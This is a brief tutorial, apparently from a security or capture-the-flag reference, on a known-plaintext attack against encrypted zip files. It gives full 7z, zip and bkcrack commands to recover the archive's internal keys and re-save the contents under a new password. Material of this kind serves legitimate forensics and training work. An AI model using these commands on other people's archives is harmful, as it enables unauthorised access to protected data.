Known plaintext zip attack
You need to know the plaintext (or part of the plaintext) of a file contained inside the encrypted zip. You can check filenames and size of files contained inside an encrypted zip running: 7z l encrypted.zip
Download bkcrack from the releases page.
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
